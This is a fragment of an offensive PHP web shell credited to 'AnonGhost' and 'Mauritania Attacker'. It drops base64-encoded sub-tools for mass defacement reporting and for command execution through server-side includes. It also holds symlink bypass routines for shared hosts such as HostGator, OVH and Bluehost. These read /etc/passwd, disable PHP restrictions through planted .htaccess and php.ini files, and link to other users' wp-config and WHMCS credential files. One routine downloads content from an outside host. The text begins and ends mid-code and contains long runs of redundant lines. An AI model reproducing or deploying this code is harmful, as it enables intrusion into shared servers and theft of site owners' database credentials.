xicj4NCg0KPC9kaXY+DQoNCjwvY2VudGVyPic7DQoNCg0KDQp9DQoNCg0KDQpmdW5jdGlvbiBwb3N0ZXIoJHVybCwgJGhhY2tlciwgJGhhY2ttb2RlLCRyZXNvbiwgJHNpdGUgKQ0KDQp7DQoNCg0KDQokayA9IGN1cmxfaW5pdCgpOw0KDQpjdXJsX3NldG9wdCgkaywgQ1VSTE9QVF9VUkwsICR1cmwpOw0KDQpjdXJsX3NldG9wdCgkayxDVVJMT1BUX1BPU1QsdHJ1ZSk7DQoNCmN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1BPU1RGSUVMRFMsImRlZmFjZXI9Ii4kaGFja2VyLiImZG9tYWluMT0iLiAkc2l0ZS4iJmhhY2ttb2RlPSIuJGhhY2ttb2RlLiImcmVhc29uPSIuJHJlc29uKTsNCg0KY3VybF9zZXRvcHQoJGssQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7DQoNCmN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCg0KDQoNCiRrdWJyYSA9IGN1cmxfZXhlYygkayk7DQoNCmN1cmxfY2xvc2UoJGspOw0KDQpyZXR1cm4gJGt1YnJhOw0KDQp9DQoNCg0KDQo/Pg0KPGRpdiBjbGFzcz0iY29weXJpZ2h0Ij5Nb2RpZmllZCBieSBWaXJ1c2EgV29ybTwvZGl2PjxwPjwvcD4NCjwvYm9keT4NCg0KPC9odG1sPg=='; $file = fopen("agzh.php" ,"w+"); $write = fwrite ($file ,base64_decode($agzh)); fclose($file); chmod("agzh.php",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Mass Zone-H</b></p><iframe src=agzh.php width=80% height=60% frameborder=0></iframe></div>"; } elseif(isset($_GET['agls'])) { $agls ='PHRpdGxlPkxpdGVTcGVlZCBXZWIgQnlwYXNzPC90aXRsZT4NCjxib2R5IGJnY29sb3I9IiMxNTE1MTUiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgcmlnaHRtYXJnaW49IjAiIGJvdHRvbW1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAwIiBtYXJnaW5oZWlnaHQ9IjAiPg0KIA0KPD9waHANCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIENvZGVkIEJ5IFdlYlJvb1QgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KDQogICAgJGluZm8gPSAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107DQogICAgJHNpdGUgPSBnZXRlbnYoIkhUVFBfSE9TVCIpOw0KICAgICRwYWdlID0gJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107DQogICAgJHNuYW1lID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQogICAgJHVuYW1lID0gcGhwX3VuYW1lKCk7DQogICAgJHNtb2QgPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCiAgICAkZGlzZnVuYyA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KICAgICRzZXJ2ZXJpcCA9ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOw0KICAgICR2ZXJzaW9uID0gcGhwdmVyc2lvbigpOw0KICAgICRjY2MgPSByZWFscGF0aCgkX0dFVFsnY2hkaXInXSkuIi8iOw0KICAgICRmZGVsID0gJF9HRVRbJ2ZkZWwnXTsNCiAgICAkZXhlY3V0ZSA9ICRfUE9TVFsnZXhlY3V0ZSddOw0KICAgICRjbWQgPSAkX1BPU1RbJ2NtZCddOw0KICAgICRjb21tYW5kZXIgPSAkX1BPU1RbJ2NvbW1hbmRlciddOw0KICAgICRscyA9ICJscyAtbGEiOw0KICAgICRzb3VyY2UgPSAkX1BPU1RbJ3NvdXJjZSddOw0KICAgICRnb21rZiA9ICRfUE9TVFsnZ29ta2YnXTsNCiAgICAkdGl0bGUgPSAkX1BPU1RbJ3RpdGxlJ107DQogICAgJHNvdXJjZWdvID0gJF9QT1NUWydzb3VyY2VnbyddOw0KICAgICRmdGVtcCA9ICJ0bXAiOw0KICAgICR0ZW1wID0gdGVtcG5hbSgkZnRlbXAsICJjeCIpOw0KICAgICRmY29weSA9ICRfUE9TVFsnZmNvcHknXTsNCiAgICAkdHVzZXIgPSAkX1BPU1RbJ3R1c2VyJ107DQogICAgJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiAgICAkd2RpciA9ICRfUE9TVFsnd2RpciddOw0KICAgICR0ZGlyID0gJF9QT1NUWyd0ZGlyJ107DQogICAgJHN5bWdvID0gJF9QT1NUWydzeW1nbyddOw0KICAgICRzeW0gPSAieGhhY2tlcnMudHh0IjsNCiAgICAkdG8gPSAkX1BPU1RbJ3RvJ107DQogICAgJHNiamN0ID0gJF9QT1NUWydzYmpjdCddOw0KICAgICRtc2cgPSAkX1BPU1RbJ21zZyddOw0KICAgICRoZWFkZXIgPSAiRnJvbToiLiRfUE9TVFsnaGVhZGVyJ107DQoNCg0KLy9QSFBpbmZvIGNvZGUNCg0KaWYoaXNzZXQoJF9QT1NUWydwaHBpbmZvJ10pKQ0Kew0KCWRpZShwaHBpbmZvKCkpOw0KfQ0KDQppZiAoJHNtb2QpDQp7DQogICAgJGNfaCA9ICI8Zm9udCBjb2xvcj1yZWQgZmFjZT0nVmVyZGFuYScgc2l6ZT0nMSc+T048L2ZvbnQ+IjsNCn0NCmVsc2UNCnsNCiAgICAkY19oID0gIjxmb250IGZhY2U9J1ZlcmRhbmEnIHNpemU9JzEnIGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsNCn0NCg0KDQppZiAoJyc9PSgkZGlzZnVuYykpDQp7DQogICAgJGRpcyA9ICI8Zm9udCBjb2xvcj1yZWQ+Tm9uZTwvZm9udD4iOw0KfQ0KZWxzZQ0Kew0KICAgICRkaXMgPSAiPGZvbnQgY29sb3I9cmVkPiRkaXNmdW5jPC9mb250PiI7DQp9DQovL29uIGFuZCBvZiBpbmZvDQppZihpc3NldCgkX0dFVFsnZGlyJ10pICYmIGlzX2RpcigkX0dFVFsnZGlyJ10pKQ0Kew0KIGNoZGlyKCRfR0VUWydkaXInXSk7DQp9DQoNCiRjY2MgPSByZWFscGF0aCgkX0dFVFsnY2hkaXInXSkuIi8iOw0KDQovL0JMQUNLDQplY2hvICI8aGVhZD4NCjxzdHlsZT4NCmJvZHkgeyBmb250LXNpemU6IDEycHg7DQoNCiAgICAgICAgICAgZm9udC1mYW1pbHk6IGFyaWFsLCBoZWx2ZXRpY2E7DQoNCiAgICAgICAgICAgIHNjcm9sbGJhci13aWR0aDogNTsNCg0KICAgICAgICAgICAgc2Nyb2xsYmFyLWhlaWdodDogNTsNCg0KICAgICAgICAgICAgc2Nyb2xsYmFyLWZhY2UtY29sb3I6IGdyZWVuOw0KDQogICAgICAgICAgICBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiBncmVlbjsNCg0KICAgICAgICAgICAgc2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogZ3JlZW47DQoNCiAgICAgICAgICAgIHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOmdyZWVuOw0KDQogICAgICAgICAgICBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogZ3JlZW47DQoNCiAgICAgICAgICAgIHNjcm9sbGJhci10cmFjay1jb2xvcjogZ3JlZW47DQoNCiAgICAgICAgICAgIHNjcm9sbGJhci1hcnJvdy1jb2xvcjogZ3JlZW47DQoNCiAgICB9DQo8L3N0eWxlPg0KDQo8dGl0bGU+U0FGRU1PREUgQllQQVNTRVIgLSBbJHNpdGVdPC90aXRsZT48L2hlYWQ+IjsNCg0KLy9BTkEgdGFibG8NCg0KDQoNCj8+DQoNCjxmb3JtIG5hbWU9InoxZC1saXRlc3BlZWQiICBtZXRob2Q9InBvc3QiPg0KPHAgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVGFob21hIj48Yj48Zm9udCBjb2xvcj0iIzU4RkFGNCI+RXhlY3V0ZTwvZm9udD4gDQo8c3BhbiBsYW5nPSJhci1zYSI+PGZvbnQgY29sb3I9IiM1OEZBRjQiPi08L2ZvbnQ+IDwvc3Bhbj4gPC9iPg0KICAgIDxpbnB1dCBuYW1lPSJjb21tYW5kIiB2YWx1ZT0icHdkIiBzdHlsZT0iYm9yZGVyOiAxcHggZG90dGVkICM1OEZBRjQ7IGZvbnQtZmFtaWx5OnRhIiBzaXplPSIzNiIgdGFiaW5kZXg9IjIwIj4NCjxiPjwvYj4gPC9mb250PjwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IlRhaG9tYSI+DQogIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IlN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUiPg0KPC9mb250PjwvcD4NCjxociAvPg0KPGRpdiBhbGlnbj0iY2VudGVyIj4NCiAgPHA+IDwvcD4NCiAgPHA+PGZvbnQgY29sb3I9IiNGRjAwMDAiIHNpemU9IjMiPk1ldGhvZCBOb3QgSW1wbGVtZW50ZWQgLSA8Zm9udCBmYWNlPSJUYWhvbWEiPiBEaXIgQWNjZXNzIERlbmllZCAgLSBNb2Rfc2VjdXJpdHk8L2ZvbnQ+IGZvciBlcnJvcnMgPGI+QnlwYXNzPC9mb250PjwvYj48YnI+PGJyPg0KICAgIDxmb250IGZhY2U9IlRhaG9tYSI+PGI+PGZvbnQgY29sb3I9IiM1OEZBRjQiPkV4ZWN1dGU8L2ZvbnQ+IDxzcGFuIGxhbmc9ImFyLXNhIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LSA8L2ZvbnQ+PC9zcGFuPjwvYj48L2ZvbnQ+DQogICAgPElOUFVUIE5BTUU9ImdldCIgVFlQRT0iVEVYVCIgdmFsdWU9Ii9ob21lLyovcHVibGljX2h0bWwiPg0KICAgIDxjZW50ZXI+DQogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBEaXJlY3RvcnkiIG5hbWU9InN1Ym1pdCI+DQogICAgPD8NCiBpZigkX1BPU1RbInN1Ym1pdCJdKXsNCiAgJGxpc3RlbGU9JF9QT1NUWydnZXQnXTsNCiAgJGxpc3RlbGU9JGxpc3RlbGUuIiouKiI7DQogICAkZG9zeWE9Z2xvYigkbGlzdGVsZSk7DQogICBwcmludGYoIjxiciAvPiIpOw0KICAgIGZvcmVhY2ggKCRkb3N5YSBhcyAkZG9zeWFsYXIpIHsNCiAgICAgIHByaW50ZigkZG9zeWFsYXIpOyBwcmludGYoIiAgICAgICAiKTsgIA0KZWNobyBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGRvc3lhbGFyKSksIC00KTsNCiBwcmludGYoIjxiciAvPiIpOw0KICB9DQp9DQo/Pg0KICA8L3A+DQogIDxwPiA8L3A+DQo8L2Rpdj48YnI+DQoNCjxwIGFsaWduPSJjZW50ZXIiPjxmb250IHNpemU9IjIiPjxiPjxmb250IGNvbG9yPSIjMDA5OTAwIiBmYWNlPSJUYWhvbWEiPldlYlJvb1QgTGl0ZVNwZWVkIFJlY29kZWQgYnkgVmlydXNhIFdvcm08L2ZvbnQ+PC9iPjwvZm9udD48L3A+DQo8L2Zvcm0+DQo8P3BocA0KJGNvbW1hbmQgPSAkX1BPU1RbJ2NvbW1hbmQnXTsNCiRsMDBsID0gJF9QT1NUWydsMDBsJ107DQppZigkY29tbWFuZCl7DQokejExZCA9ICI8Y2VudGVyPjxwcmU+PHByZT4NCjxicj4NCjwhLS0jZXhlYyBjbWQ9JyRjb21tYW5kJyAtLT4gDQoNCiI7DQokb3BlbmZpbGUgPSBmb3Blbigid2ViLnNodG1sIiwidyIpOw0KJHdyaXRlaW50byA9IGZ3cml0ZSgkb3BlbmZpbGUsIiR6MTFkIik7DQpmY2xvc2UoJG9wZW5maWxlKTsNCmlmKCRvcGVuZmlsZSl7DQp9ZWxzZXsNCn0NCn0NCj8+DQo8YnI+PGJyPjxjZW50ZXI+DQoNCg0KPHByZT4gDQogPGlmcmFtZSBzcmM9J3dlYi5zaHRtbCcgIHdpZHRoPTM4MHB4IGhlaWdodD01MCUgaWQ9IkkxIiBuYW1lPSJJRjEiID4NCjwvcHJlPg=='; $file = fopen("agls.php" ,"w+"); $write = fwrite ($file ,base64_decode($agls)); fclose($file); chmod("agls.php",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Litespeed Command Bypass</b></p><iframe src=agls.php width=75% height=60% frameborder=0></iframe></div>"; } elseif(isset($_GET['aglts'])) {echo $bencong."<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Litespeed Bypass Priv8 By Mauritania Attacker</b></p>"; ?><center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink</font><p><input type=submit name="aglts" value="Extract usernames" /></form></center><?php if(isset($_POST['aglts'])){ ?><center><form method=post><textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd"); foreach($users as $user){ $str=explode(":",$user); echo $str[0]."\n"; } ?></textarea><br><br><input type=submit name=su value="Bypass Configs" /></form></center><?php } ?><?php error_reporting(0); if(isset($_POST['su'])){ mkdir('aglite',0777); $rr  = " <Files *.php> \n ForceType application/x-httpd-php4 \n </Files> "; $g = fopen('aglite/.htaccess','w'); fwrite($g,$rr); $virusa = symlink("/","aglite/root"); $rt="<a href=aglite/root><font color=#ff0000 size=2 face=\"comic sans ms\"> Bypassed Successfully ^_^</font></a>"; echo "Check link given below for / folder symlink <br><u>$rt</u>"; mkdir('aglite',0777); $rr  = " safe_mode = Off "; $g = fopen('aglite/php.ini','w'); fwrite($g,$rr); $virusa = symlink("/","aglite/root"); mkdir('aglite',0777); $file = file_get_contents('http://www.municipiodesuscal.gob.ec/suscal/includes/htaccess.txt'); $g = fopen('aglite/ini.php', 'w'); fwrite($g,$file); fclose($g); $virusa = symlink("/","aglite/root"); fwrite($f,$r); $consym="<a href=aglite/><font color=#ff0000 size=2 face=\"comic sans ms\">configuration files</font></a>"; echo "<br>The link given below is for configs path symlink, you can view Configs inside the Source Code <br><u><font color=#58FAF4 size=2 face=\"comic sans ms\">$consym</font></u>";        $configuration=array("wp-config.shtml","wordpress/wp-config.shtml","configuration.shtml","blog/wp-config.shtml","joomla/configuration.shtml","vb/includes/config.shtml","includes/config.shtml","conf_global.shtml","inc/config.shtml","config.shtml","Settings.shtml","sites/default/settings.shtml","whm/configuration.shtml","whmcs/configuration.shtml","support/configuration.shtml","whmc/WHM/configuration.shtml","whm/WHMCS/configuration.shtml","whm/whmcs/configuration.shtml","support/configuration.shtml","clients/configuration.shtml","client/configuration.shtml","clientes/configuration.shtml","cliente/configuration.shtml","clientsupport/configuration.shtml","billing/configuration.shtml","admin/config.shtml"); foreach($usr as $uss ){ $us=trim($uss); foreach($configuration as $c){ $rs="/home/".$us."/public_html/".$c;      $r="aglite/".$us." .. ".$c; symlink($rs,$r); }}}} elseif(isset($_GET['hostg'])) {echo $bencong."<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Symlink HostGator Server ('.ini') Extension Method Priv8 By Mauritania Attacker</b></p>"; ?><center><img src="http://www.taylorclark.co/wp-content/uploads/2013/06/Hostgator-VS-Amazon.jpg"></center><center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font><p><input type=submit name="hostg" value="Extract usernames" /></form></center> <?php if(isset($_POST['hostg'])){ ?><form method=post><textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd"); foreach($users as $user){ $str=explode(":",$user); echo $str[0]."\n"; } ?></textarea><br><br><input type=submit name=su value="Bypass HostGator Configs" /></form> <?php } ?><?php error_reporting(0); echo "<font color=#58FAF4 size=2 face=\"Courier New\">"; if(isset($_POST['su'])){ mkdir('HostGator',0755);$rr  = " Options +FollowSymLinks \n DirectoryIndex Sux.html \n Options +Indexes \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain.html "; $g = fopen('HostGator/.htaccess','w'); fwrite($g,$rr); $HostGator = symlink("/","HostGator/root"); $rt="<a href=HostGator/root><font color=#ff0000 size=2 face=\"Courier New\"> Bypassed Successfully</font></a>"; echo "Check link given below for / folder symlink <br><b>$rt</b>"; mkdir('HostGator',0755); $rr  = " Safe_mode = OFF \n Disable_functions = NONE \n Open_basedir = OFF "; $g = fopen('HostGator/php.ini','w'); fwrite($g,$rr); $HostGator = symlink("/","HostGator/root"); fwrite($f,$r); $consym="<a href=HostGator/><font color=#ff0000 size=2 face=\"Courier New\">configuration files</font></a>"; echo "<br><font color=#58FAF4 size=2 face=\"Courier New\">The link given below is for configs path symlink, If Forbidden you can view Configs inside the Source Code By Creating an shtml File and including virtual name of the config name Or Just Back Connect to the server and retrieve root manually ln -s / Good Chance ^_^        </font><br><b><font color=#58FAF4 size=2 face=\"Courier New\">$consym</font></b>"; $usr=explode("\n",$_POST['user']); $configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini"); foreach($usr as $uss ){ $us=trim($uss); foreach($configuration as $c){ $rs="/home/".$us."/public_html/".$c; $r="HostGator/".$us." .. ".$c; symlink($rs,$r); }}}} elseif(isset($_GET['agovh'])){echo $bencong."<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Symlink OVH Server Priv8 By Mauritania Attacker</b></p>"; ?> <center><img src="http://alsace-international.eu/IMG/LOGOS/Entreprises/OVH_Logo.gif"></center><center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font><p><input type=submit name="agovh" value="Extract usernames" /></form></center><?php if(isset($_POST['agovh'])){ ?><form method=post><textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd"); foreach($users as $user){ $str=explode(":",$user); echo $str[0]."\n"; } ?></textarea><br><br><input type=submit name=su value="OVH Bypass Configs" /></form><br><?php } ?> <?php error_reporting(0); echo "<font color=#58FAF4 size=2 face=\"Courier New\">"; if(isset($_POST['su'])) { mkdir('ovh',0755); $rr  = " AllowOverride All None \n DirectoryIndex index.html index.htm index.php index.php4 index.php5 \n AddType application/octet-stream .php \n AddHandler server-parsed .php \n Addhandler cgi-script .asp \n AddType ini .php \n AddHandler ini .php "; $g = fopen('ovh/.htaccess','w'); fwrite($g,$rr); $ovh = symlink("/","ovh/root"); $rt="<a href=ovh/root><font color=#ff0000 size=2 face=\"Courier New\"> OVH Bypassed Successfully ^_^ Check Permission !</font></a>"; echo "Check link given below for / folder symlink <br><b>$rt</b>"; mkdir('ovh',0755); $rr  = " Safe_mode = OFF \n Disable_functions = NONE \n Open_basedir = OFF "; $g = fopen('ovh/php.ini','w'); fwrite($g,$rr); $ovh = symlink("/","ovh/root"); fwrite($f,$r); $consym="<a href=ovh/><font color=#ff0000 size=2 face=\"Courier New\">configuration files</font></a>"; echo "<br><font color=#58FAF4 size=2 face=\"Courier New\">The link given below is for OVH configs path symlink, you can backconnect to the server with python script and retrieve ln /s root easily Good Chance ^_^ </font><br><b><font color=#58FAF4 size=2 face=\"Courier New\">$consym</font></b>"; $usr=explode("\n",$_POST['user']); $configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini"); foreach($usr as $uss ){ $us=trim($uss); foreach($configuration as $c){                         $rs="/homez.0/".$us."/www/".$c;
  597.     $rs="/homez.1/".$us."/www/".$c;
  598.     $rs="/homez.2/".$us."/www/".$c;
  599.     $rs="/homez.3/".$us."/www/".$c;
  600.     $rs="/homez.4/".$us."/www/".$c;
  601.     $rs="/homez.5/".$us."/www/".$c;
  602.     $rs="/homez.6/".$us."/www/".$c;
  603.     $rs="/homez.7/".$us."/www/".$c;
  604.     $rs="/homez.8/".$us."/www/".$c;
  605.     $rs="/homez.9/".$us."/www/".$c;
  606.     $rs="/homez.10/".$us."/www/".$c;
  607.     $rs="/homez.11/".$us."/www/".$c;
  608.     $rs="/homez.12/".$us."/www/".$c;
  609.     $rs="/homez.13/".$us."/www/".$c;
  610.     $rs="/homez.14/".$us."/www/".$c;
  611.     $rs="/homez.15/".$us."/www/".$c;
  612.     $rs="/homez.16/".$us."/www/".$c;
  613.     $rs="/homez.17/".$us."/www/".$c;
  614.     $rs="/homez.18/".$us."/www/".$c;
  615.     $rs="/homez.19/".$us."/www/".$c;
  616.     $rs="/homez.20/".$us."/www/".$c;
  617.     $rs="/homez.21/".$us."/www/".$c;
  618.     $rs="/homez.22/".$us."/www/".$c;
  619.     $rs="/homez.23/".$us."/www/".$c;
  620.     $rs="/homez.24/".$us."/www/".$c;
  621.     $rs="/homez.25/".$us."/www/".$c;
  622.     $rs="/homez.26/".$us."/www/".$c;
  623.     $rs="/homez.27/".$us."/www/".$c;
  624.     $rs="/homez.28/".$us."/www/".$c;
  625.     $rs="/homez.29/".$us."/www/".$c;
  626.     $rs="/homez.30/".$us."/www/".$c;
  627.     $rs="/homez.31/".$us."/www/".$c;
  628.     $rs="/homez.32/".$us."/www/".$c;
  629.     $rs="/homez.33/".$us."/www/".$c;
  630.     $rs="/homez.34/".$us."/www/".$c;
  631.     $rs="/homez.35/".$us."/www/".$c;
  632.     $rs="/homez.36/".$us."/www/".$c;
  633.     $rs="/homez.37/".$us."/www/".$c;
  634.     $rs="/homez.38/".$us."/www/".$c;
  635.     $rs="/homez.39/".$us."/www/".$c;
  636.     $rs="/homez.40/".$us."/www/".$c;
  637.     $rs="/homez.41/".$us."/www/".$c;
  638.     $rs="/homez.42/".$us."/www/".$c;
  639.     $rs="/homez.43/".$us."/www/".$c;
  640.     $rs="/homez.44/".$us."/www/".$c;
  641.     $rs="/homez.45/".$us."/www/".$c;
  642.     $rs="/homez.46/".$us."/www/".$c;
  643.     $rs="/homez.47/".$us."/www/".$c;
  644.     $rs="/homez.48/".$us."/www/".$c;
  645.     $rs="/homez.49/".$us."/www/".$c;
  646.     $rs="/homez.50/".$us."/www/".$c;
  647.     $rs="/homez.51/".$us."/www/".$c;
  648.     $rs="/homez.52/".$us."/www/".$c;
  649.     $rs="/homez.53/".$us."/www/".$c;
  650.     $rs="/homez.54/".$us."/www/".$c;
  651.     $rs="/homez.55/".$us."/www/".$c;
  652.     $rs="/homez.56/".$us."/www/".$c;
  653.     $rs="/homez.57/".$us."/www/".$c;
  654.     $rs="/homez.58/".$us."/www/".$c;
  655.     $rs="/homez.59/".$us."/www/".$c;
  656.     $rs="/homez.60/".$us."/www/".$c;
  657.     $rs="/homez.61/".$us."/www/".$c;
  658.     $rs="/homez.62/".$us."/www/".$c;
  659.     $rs="/homez.63/".$us."/www/".$c;
  660.     $rs="/homez.64/".$us."/www/".$c;
  661.     $rs="/homez.65/".$us."/www/".$c;
  662.     $rs="/homez.66/".$us."/www/".$c;
  663.     $rs="/homez.67/".$us."/www/".$c;
  664.     $rs="/homez.68/".$us."/www/".$c;
  665.     $rs="/homez.69/".$us."/www/".$c;
  666.     $rs="/homez.70/".$us."/www/".$c;
  667.     $rs="/homez.71/".$us."/www/".$c;
  668.     $rs="/homez.72/".$us."/www/".$c;
  669.     $rs="/homez.73/".$us."/www/".$c;
  670.     $rs="/homez.74/".$us."/www/".$c;
  671.     $rs="/homez.75/".$us."/www/".$c;
  672.     $rs="/homez.76/".$us."/www/".$c;
  673.     $rs="/homez.77/".$us."/www/".$c;
  674.     $rs="/homez.78/".$us."/www/".$c;
  675.     $rs="/homez.79/".$us."/www/".$c;
  676.     $rs="/homez.80/".$us."/www/".$c;
  677.     $rs="/homez.81/".$us."/www/".$c;
  678.     $rs="/homez.82/".$us."/www/".$c;
  679.     $rs="/homez.83/".$us."/www/".$c;
  680.     $rs="/homez.84/".$us."/www/".$c;
  681.     $rs="/homez.85/".$us."/www/".$c;
  682.     $rs="/homez.86/".$us."/www/".$c;
  683.     $rs="/homez.87/".$us."/www/".$c;
  684.     $rs="/homez.88/".$us."/www/".$c;
  685.     $rs="/homez.89/".$us."/www/".$c;
  686.     $rs="/homez.100/".$us."/www/".$c;
  687.     $rs="/homez.101/".$us."/www/".$c;
  688.     $rs="/homez.102/".$us."/www/".$c;
  689.     $rs="/homez.103/".$us."/www/".$c;
  690.     $rs="/homez.104/".$us."/www/".$c;
  691.     $rs="/homez.105/".$us."/www/".$c;
  692.     $rs="/homez.106/".$us."/www/".$c;
  693.     $rs="/homez.107/".$us."/www/".$c;
  694.     $rs="/homez.108/".$us."/www/".$c;
  695.     $rs="/homez.109/".$us."/www/".$c;
  696.     $rs="/homez.110/".$us."/www/".$c;
  697.     $rs="/homez.111/".$us."/www/".$c;
  698.     $rs="/homez.112/".$us."/www/".$c;
  699.     $rs="/homez.113/".$us."/www/".$c;
  700.     $rs="/homez.114/".$us."/www/".$c;
  701.     $rs="/homez.115/".$us."/www/".$c;
  702.     $rs="/homez.116/".$us."/www/".$c;
  703.     $rs="/homez.117/".$us."/www/".$c;
  704.     $rs="/homez.118/".$us."/www/".$c;
  705.     $rs="/homez.119/".$us."/www/".$c;
  706.     $rs="/homez.120/".$us."/www/".$c;
  707.     $rs="/homez.121/".$us."/www/".$c;
  708.     $rs="/homez.122/".$us."/www/".$c;
  709.     $rs="/homez.123/".$us."/www/".$c;
  710.     $rs="/homez.124/".$us."/www/".$c;
  711.     $rs="/homez.125/".$us."/www/".$c;
  712.     $rs="/homez.126/".$us."/www/".$c;
  713.     $rs="/homez.127/".$us."/www/".$c;
  714.     $rs="/homez.128/".$us."/www/".$c;
  715.     $rs="/homez.129/".$us."/www/".$c;
  716.     $rs="/homez.130/".$us."/www/".$c;
  717.                          $r="ovh/".$us." .. ".$c; symlink($rs,$r);}}}}
  718.     elseif(isset($_GET['blhost']))
  719.     {echo $bencong."<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Bluehost Symlink Bypass Priv8 By Mauritania Attacker</b></p>";
  720.     ?>
  721.     <center><img src="http://www.webdesigning101.com/wp-content/uploads/bluehost.jpg"></center>
  722.      
  723.     <center>
  724.     <form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font><p>
  725.             <input type=submit name="blhost" value="Extract usernames" /></form></center>
  726.      
  727.             <?php
  728.             if(isset($_POST['blhost'])){
  729.                     ?><form method=post>
  730.             <textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd");
  731.     foreach($users as $user)
  732.     {
  733.     $str=explode(":",$user);
  734.     echo $str[0]."\n";
  735.     }
  736.      
  737.     ?></textarea><br><br>
  738.             <input type=submit name=su value="Bluehost Bypass Configs" /></form>
  739.             <?php } ?>
  740.             <?php
  741.             error_reporting(0);
  742.             echo "<font color=#58FAF4 size=2 face=\"Courier New\">";
  743.             if(isset($_POST['su']))
  744.             {
  745.             mkdir('bluehost',0755);
  746.     $rr  = " AllowOverride All None \n DirectoryIndex index.html index.htm index.php index.php4 index.php5 \n AddType application/octet-stream .php \n AddHandler server-parsed .php \n Addhandler cgi-script .asp \n AddType ini .php \n AddHandler ini .php ";
  747.     $g = fopen('bluehost/.htaccess','w');
  748.     fwrite($g,$rr);
  749.     $bluehost = symlink("/","bluehost/root");
  750.                         $rt="<a href=bluehost/root><font color=#ff0000 size=2 face=\"Courier New\"> Bypassed Successfully ^_^</font></a>";
  751.             echo "Check link given below for / folder symlink <br><b>$rt</b>";
  752.                    
  753.     mkdir('bluehost',0755);
  754.     $rr  = " Safe_mode = OFF \n Disable_functions = NONE \n Open_basedir = OFF ";
  755.     $g = fopen('bluehost/php.ini','w');              
  756.     fwrite($g,$rr);
  757.     $bluehost = symlink("/","bluehost/root");              
  758.      
  759.                     fwrite($f,$r);
  760.             $consym="<a href=bluehost/><font color=#ff0000 size=2 face=\"Courier New\">configuration files</font></a>";
  761.             echo "<br>The link given below is for configs path symlink, you can view Configs inside the Source Code if not backconnect to the server with perl script and read Configs easily Good Chance ^_^ <br><b><font color=#58FAF4 size=2 face=\"Courier New\">$consym</font></b>";
  762.            
  763.                             $usr=explode("\n",$_POST['user']);
